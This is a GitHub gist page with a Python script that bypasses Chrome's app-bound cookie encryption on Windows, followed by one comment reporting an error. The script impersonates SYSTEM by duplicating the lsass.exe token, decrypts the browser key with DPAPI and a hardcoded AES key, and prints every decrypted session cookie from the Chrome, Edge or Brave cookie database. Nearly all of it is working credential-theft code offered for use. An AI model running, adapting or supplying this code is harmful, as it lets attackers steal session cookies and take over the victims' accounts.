Skip to content

Instantly share code, notes, and snippets.

@thewh1teagle
Created October 29, 2024 16:06
Show Gist options
  • Select an option

  • Save thewh1teagle/293e567b3063f05b6f46381b03a6a6e4 to your computer and use it in GitHub Desktop.

Select an option

Save thewh1teagle/293e567b3063f05b6f46381b03a6a6e4 to your computer and use it in GitHub Desktop.
Chrome v20 decryption with Windows API
"""
pip install pywin32 pycryptodome
python main.py
"""
import ctypes, win32api, win32con, win32security, win32crypt, win32process
from ctypes import wintypes
import os, json, binascii, sqlite3, pathlib
from Crypto.Cipher import AES
class Impersonator:
"""
Enables impersonation of the Local System account by obtaining necessary privileges, opening the LSASS process, and duplicating the system token.
The start method starts impersonation, and close ends it, releasing resources.
"""
def __init__(self):
self.lsass_handle = None
self.duplicated_token = None
def _enable_privilege(self):
privilege = 20 # SE_DEBUG_PRIVILEGE
previous_value = wintypes.BOOL()
ret = ctypes.windll.ntdll.RtlAdjustPrivilege(privilege, True, False, ctypes.byref(previous_value))
if ret != 0:
raise OSError(f"RtlAdjustPrivilege failed with status: {ret:x}")
def _get_lsass_handle(self):
processes = win32process.EnumProcesses()
for pid in processes:
try:
handle = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)
except:
continue
executable_name = win32process.GetModuleFileNameEx(handle, 0).lower()
if "lsass.exe" in executable_name:
self.lsass_handle = handle
return
win32api.CloseHandle(handle)
raise OSError('lsass.exe process not found!')
def _get_system_token(self):
token_handle = win32security.OpenProcessToken(self.lsass_handle, win32con.TOKEN_DUPLICATE | win32con.TOKEN_QUERY)
duplicated_token = wintypes.HANDLE()
duplicated_token = win32security.DuplicateToken(token_handle, win32security.SecurityImpersonation)
win32api.CloseHandle(token_handle)
return duplicated_token
def start(self):
self._enable_privilege()
self._get_lsass_handle()
self.duplicated_token = self._get_system_token()
win32security.ImpersonateLoggedOnUser(self.duplicated_token)
def close(self):
win32api.CloseHandle(self.duplicated_token)
win32api.CloseHandle(self.lsass_handle)
win32security.RevertToSelf()
BROWSER = "chrome" # edge, brave, chrome
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
BROWSERS = {
"chrome": {
"aes_key": "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=",
"decrypted_key_start_index": -61,
"key_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies",
},
"edge": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Default\Network\Cookies",
},
"brave": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies",
}
}
browser = BROWSERS[BROWSER]
key_path = browser['key_path']
db_path = browser['db_path']
with open(key_path, "r") as f:
local_state = json.load(f)
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
app_bound_encrypted_key = binascii.a2b_base64(app_bound_encrypted_key)[4:]
# decrypt with SYSTEM DPAPI
impersonator = Impersonator()
impersonator.start()
encrypted_key = win32crypt.CryptUnprotectData(app_bound_encrypted_key, None, None, None, 0)[1]
impersonator.close()
# decrypt with user DPAPI
decrypted_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
if browser['aes_key']:
decrypted_key = decrypted_key[browser['decrypted_key_start_index']:]
assert(decrypted_key[0] == 1)
# decrypt key with AES256GCM
# aes key from elevation_service.exe
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
else:
key = decrypted_key[-32:]
print(binascii.b2a_base64(key))
# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()
# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
for c in cookies_v20:
print(c[0], c[1], decrypt_cookie_v20(c[2]))
@RobertAzovski
Copy link

OSError: RtlAdjustPrivilege failed with status: -3fffff9f

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment